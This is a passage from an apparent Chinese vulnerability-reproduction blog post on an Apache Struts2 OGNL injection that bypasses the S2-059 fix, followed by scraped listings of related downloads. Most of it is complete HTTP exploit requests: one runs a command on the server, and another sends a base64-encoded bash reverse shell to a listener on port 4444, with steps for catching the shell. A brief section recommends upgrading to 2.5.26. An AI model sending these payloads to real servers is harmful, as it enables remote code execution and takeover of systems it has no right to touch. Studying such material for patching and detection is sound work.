    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Length: 831
    
    
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    
    
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    

    反弹shell

    通过下面这个网站将bash反弹命令进行编码
    https://www.jackson-t.ca/runtime-exec-payloads.html

    然后提交以下POC:

    POST /index.action HTTP/1.1
    Host: x.x.x.x:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Length: 831
    
    
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    
    
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xNTMvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    


    然后监听反弹shell主机的4444端口

    在burpsuite中点击send进行发包
    可以看到shell就反弹回来了

    漏洞修复

    避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本
    临时修复,升级到 Struts 2.5.26 版本,下载地址为:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

    漏洞总结

    此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。

    展开全文
  • Struts2 in action中文版-Struts 2实战

    千次下载 热门讨论 2013-04-14 12:00:31
    第1章 Struts 2:现代Web框架 2 1.1 Web应用程序:快速学习 2 1.1.1 构建Web应用程序 2 1.1.2 基础技术简介 3 1.1.3 深入研究 6 1.2 Web应用程序框架 7 1.2.1 什么是框架 7 1.2.2 为什么使用框架 8 1.3 Struts 2框架...
  • 【2017版】Struts2漏洞检查工具

    热门讨论 2017-07-18 17:20:09
    最新Struts2漏洞检查工具2017版,支持045,046,048验证
  • K8 Struts2 Exploit神器唯一无后门的版本,可自行杀毒检验
  • Struts2 面试题

    千次阅读 2019-10-15 22:39:53
    Struts2 试题 1.struts2的执行流程? 客户端提交一个HttpServletRequest请求(action或JSP页面) 请求被提交到一系列Filter过滤器,如ActionCleanUp和FiterDispatcher等 FilterDispatcher是Struts2控制器的核心,它...
  • Struts2教学视频

    2013-06-04 17:14:32
    Struts2的功能方法,看了就基本懂struts是什么回事了
  • struts2-convention-plugin-2.3.15.3 JAR包

    热门讨论 2014-03-17 21:31:17
    struts2-convention-plugin-2.3.15.3.jar struts2配置Action注解要用到的包,真正实现零配置
  • Struts2升级2.5.30的那些坑

    千次阅读 多人点赞 2022-04-18 15:24:54
    struts2-version>2.5.30</struts2-version> </properties> <dependencies> <dependency> <groupId>org.apache.struts</groupId> <artifactId>s
  • struts2无漏洞版本,struts2-core-2.3.32和xwork-core-2.3.32
  • Struts2实战.pdf

    千次下载 热门讨论 2012-11-19 11:14:30
    资深开发人员深入剖析Struts2核心概念和组件 学习Struts不可不读 作者简介 作者:(美国)Donald Brown (美国)Chad Michael Davis (美国)Scott Stanlick 译者:马召 等 Donald Brown,Atlassian软件系统公司托管...
  • struts2-core-2.2.1-sources.jar 源码,学strut2源码时能用到的

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 461,574
精华内容 184,629
关键字:

struts2

友情链接: F41x_SMBus_EEPROM.rar